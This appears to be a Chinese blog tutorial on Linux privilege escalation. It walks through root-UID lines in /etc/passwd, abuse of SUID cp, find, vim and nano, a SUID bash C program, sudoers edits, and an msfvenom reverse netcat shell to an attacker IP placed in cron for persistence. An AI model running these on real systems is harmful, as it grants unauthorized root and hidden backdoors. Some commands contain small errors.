Linux提权(持续更新)
利用/etc/passwd提权
个人认为,这种提权方式在现实场景中难以实现,条件太过苛刻,但是建立Linux下的隐藏账户是个不错的选择,灵感来自:https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation/
利用条件
- 拥有一个普通用户的权限
- 普通用户有
/etc/passwd
的写权限
利用原理
目前不是特别清楚,只知道Linux下的
/etc/passwd
用于标识账户信息,/etc/shadow
用于标识密码信息,/etc/group
用于标识用户组信息利用细节
直接修改
/etc/passwd
,先观察root用户的格式:root:x:0:0:root:/root:/bin/bash
root表示用户名;x表示密码hash,0表示用户ID,0表示用户组ID,/root表示用户相关信息,/bin/bash表示该用户使用何种shell执行命令
举个例子:
test:passwd_hash:0:0::/bin/hash
这里只要设置密码hash值即可,制作密码hash有以下几种方式:
OpenSSL
openssl passwd -1 -salt salt password
mkpasswd
mkpasswd -m SHA-512 password
Python
python -c 'import crypt; print crypt.crypt("password","$6$salt")'
Perl
perl -le 'print crypt("password","salt")'
PHP
php -r "print(crypt('password','salt') . \"\n\");"
利用suid提权
灵感来自:https://www.hackingarticles.in/linux-privilege-escalation-using-suid-binaries/
在Linux中,存在suid、guid、sticky,suid是一种权限类型,它允许拥有SUID的用户使用指定用户的权限执行文件,通常SUID表示文件的最高执行权限。一般Linux中文件的权限如0777,第一位0表示为特殊权限,7表示rwx(读写执行);对于第一位,如果是4表示拥有SUID权限,如果是2表示拥有GUID权限,如果是1表示,拥有sticky的权限,它能创建删除任何用户ID在目录中的文件
在实际复现时,发现确实还是挺实用的-.-,测试环境kali-2019.1
利用条件
- 文件拥有SUID权限
- 一个普通用户权限
利用原理
本质上是间接利用了
/etc/passwd
提权,一般采用find / -perm -u=s -type f 2>/dev/null
利用细节
利用cp命令提权
第一:查看
/bin/cp
是否具备SUID权限whereis find
find / -perm -u=s -type f 2>/dev/null
第二:替换
/etc/passwd
先获取原本的
/etc/passwd
;然后在文件中添加一行用户信息,其中用户的hash制作可参考/etc/passwd
提权中的方式;最后将篡改后的passwd
文件覆盖/etc/passwd
文件第三:第二步其实已经完成,此处可再利用
cp
命令反弹shellmsfvenom -p cmd/unix/reverse_netcat lhost=攻击者IP lport=攻击者监听的端口 R
# 生成并保存至1.sh文件中
# 将反弹shell的脚本放置在计划任务中,使其每小时启动一次
cp 1.sh /etc/cron.hourly/
利用find命令提权
第一:查看find命令所在的文件位置
whereis find
find / -perm -u=s -type f 2>/dev/null
第二:使用find执行系统命令
# 先创建一个空文件
touch temp
# 然后借助空文件执行系统命令
find temp -exec "whoami" \;
# 这几个命令比较相似,区别无非就是:有没有引号,有没有花括号,实际测试时,这条指令一切OK
find /etc/passwd -exec whoami \;
# 其它命令
find /etc/passwd -exec whoami {} \;
第三:扩展
# 实际测试时,综合利用,发现还比较实用,因为find一般默认拥有SUID权限
# 在测试时发现执行命令有时跟当前一般用户权限有关,如:重定向操作符无法正常使用,因为没有写权限
# 这里采用一种迂回的方式,写文件
# 使用dd命令生成一个空文件
dd if=/dev/zero of=/var/www/html/1.txt bs=1 count=1
# 然后使用sed替换文件内容
sed -i 's/\x0/content/g' /var/www/html/1.txt
# 使用这种方法,结合/etc/passwd提权方式,获取root权限
利用vim编辑器提权
第一:查看vim所在的文件位置
which vim
whereis vim
find / -perm -u=s -type f 2>/dev/null
第二:赋予普通用户sudo的权限
# 通过修改sudoer文件给与指定用户sudo的权限
visudo
vim.basic /etc/sudoer
# 在文件中写入一行数据
username ALL=(ALL:ALL) ALL
第三:验证用户是否拥有root权限
# 直接进入root的交互命令行
sudo bash
# sudo查看shadow文件
sudo cat /etc/shadow
使用已保存的脚本提权
个人觉得这种方式没另外几种实用性好
#include<stdio.h>
#include<unistd.h>
#include<sys/types.h> int main()
{
setuid(geteuid());
system("/bin/bash");
return 0;
}
上述代码保存至文件payload.c
使用以下命令生成一个拥有SUID的payload可执行文件
gcc shell.c -o shell
chmod u+s shell
执行payload程序,获取root权限的交互shell
./payload
id
通过Nano编辑器提权
第一:获取nano的文件位置
which nano
whereis nano
find / -perm -u=s -type f 2>/dev/null
第二:直接修改
/etc/passwd
# 编辑/etc/passwd
nano /etc/passwd
# 添加一行数据(参考/etc/passwd提权方式)
test:password_hash:0:0::/root:/bin/bash
第三:其实第二步已经达成目标,第三步可选[个人感觉不是很方便]
# 编辑/etc/shadow
nano /etc/shadow
# 添加一行数据
按照格式填写用户相关的密码hash
Linux提权(持续更新)的更多相关文章
- Linux提权:从入门到放弃
*原创作者:piece of the past,本文属Freebuf原创奖励计划,未经许可禁止转载 日站就要日个彻底.往往我们能拿下服务器的web服务,却被更新地比西方记者还快的管理员把内网渗透的种子 ...
- Linux提权(1)-基础版~
利用Linux内核漏洞提权 VulnOS version 2是VulHub上的一个Linux提权练习,当打开虚拟机后,可以看到 获取到低权限SHELL后我们通常做下面几件事 1.检测操作系统的发行版本 ...
- 又一款linux提权辅助工具
又一款linux提权辅助工具 – Linux_Exploit_Suggester 2013-09-06 10:34 1455人阅读 评论(0) 收藏 举报 https://github.com/Pen ...
- 记一次初步Linux提权
前言. 提权这么久了 还是头一次提下Linux的服务器... 由于之前一直钻研的win服务器 要不是前些日子爆出来Struts2-045漏洞 估计还没时间接触Linux提权.... 正文. st2 ...
- 免考final linux提权与渗透入门——Exploit-Exercise Nebula学习与实践
免考final linux提权与渗透入门--Exploit-Exercise Nebula学习与实践 0x0 前言 Exploit-Exercise是一系列学习linux下渗透的虚拟环境,官网是htt ...
- 利用Metasploit进行Linux提权
利用Metasploit进行Linux提权 Metasploit 拥有msfpayload 和msfencode 这两个工具,这两个工具不但可以生成exe 型后门,一可以生成网页脚本类型的webshe ...
- 20. Linux提权:从入门到放弃
几点前提 已经拿到低权shell 被入侵的机器上面有nc,python,perl等linux非常常见的工具 有权限上传文件和下载文件 内核漏洞提权 提到脏牛,运维流下两行眼泪,我们留下两行鼻血.内核漏 ...
- Unix/Linux提权漏洞快速检测工具unix-privesc-check
Unix/Linux提权漏洞快速检测工具unix-privesc-check unix-privesc-check是Kali Linux自带的一款提权漏洞检测工具.它是一个Shell文件,可以检测 ...
- Linux提权中常见命令大全
在拿到一个 webshell 之后,大家首先会想到去把自己的权限提升到最高,windows 我们会提升到 SYSTEM 权限,而 Linux 我们会提升到 root 权限,拿在进行 Linux 提权的 ...
随机推荐
- Spring In Action 5th中的一些错误
引言 最近开始学习Spring,了解到<Spring实战>已经出到第五版了,遂打算跟着<Spring实战(第五版)>来入门Spring,没想到这书一点也不严谨,才看到第三章就发 ...
- 10 个 Python 初学者必知编码小技巧
技巧 #1 字符串翻转 a = "codementor">>> print "Reverse is",a[::-1]翻转后的结果为 rotne ...
- user.ini Operation not permitted
rm: cannot remove '/public/.user.ini': Operation not permitted chattr -i .user.ini rm -f .user.ini
- Java编程思想 笔记
date: 2019-09-06 15:10:00 updated: 2019-09-24 08:30:00 Java编程思想 笔记 1. 四类访问权限修饰词 \ 类内部 本包 子类 其他包 publ ...
- Java网关服务-AIO(二)
Java网关服务-AIO(二) 概述 AIO的特点就是用户程序注册一个事件后就可以做其他事情,当事件被内核执行并得到结果后,我们的CompletionHandler会在I/O回调线程中被自动调用,有点 ...
- axb_2019_heap-format_string + off-by-one
axb_2019_heap 简单题,格式化字符串泄漏栈地址 算上rsp,格式化字符串参数是栈顺序+6-1 edit有off by one 构造unlink chunk0 chunk1 chunk2 构 ...
- 前端在开发过程中怎么提高网站的seo?
前端开发过程中怎么提高网站的seo? 到写这篇博客为止,我还没有做过需要做seo的项目,也不知道怎么前后端合作(我才毕业工作一年左右,往后会多去学习这方面知识的),通过一些配置来提高网站的seo性能. ...
- D. Equalize the Remainders 解析(思維)
Codeforce 999 D. Equalize the Remainders 解析(思維) 今天我們來看看CF999D 題目連結 題目 略,請直接看原題 前言 感覺要搞個類似\(stack\)的東 ...
- 02 . Go框架之Gin框架从入门到熟悉(数据解析和绑定,渲染,重定向,同步异步,中间件)
数据解析和绑定 json数据解析和绑定 package main import ( "github.com/gin-gonic/gin" "net/http" ...
- input 与 button 的问题 (空隙/不等高/对不齐)及 解决办法
1. input 与 button 为什么有空隙? - 要明白为什么,需要了解一下几点基础知识(耐心看完,你会发现竟如此简单) 1. input 与 button 都属于行级块元素,都具有文本 ...